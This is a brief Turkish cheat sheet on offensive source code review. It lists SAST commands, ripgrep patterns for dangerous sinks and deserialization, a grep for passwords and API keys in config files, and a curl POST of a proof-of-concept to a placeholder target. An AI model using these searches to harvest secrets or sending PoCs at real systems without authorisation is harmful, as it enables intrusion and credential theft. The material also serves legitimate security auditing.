Source code Review / SAST Tools

Code review offensive

Saldırı amaçlı kod incelemesi: tehlikeli sink’leri bul, source’a bağla, PoC üret. Araçlar hızlandırır; hipotezi insan kurar.

Metodoloji

1. Repo/artifact elde et.

2. Sink pattern tara.

3. Auth/deserialize/upload yolları.

4. Minimal PoC yaz.

Tarama

semgrep --config p/r2c-security-audit .

rg -n 'eval\(|exec\(|system\(|pickle.loads|yaml.load\(|child_process' -g '!vendor'

bandit -r .

gosec ./...

Odak

rg -n 'password|api_key|SECRET' -g '*.env*' -g '*.yml'

rg -n 'deserialize|ObjectInputStream|readObject'

rg -n 'InnerHTML|dangerouslySetInnerHTML|bypassSecurityTrust'

PoC

sink+source → request PoC

curl -vk -X POST https://TARGET/api -d @poc.json
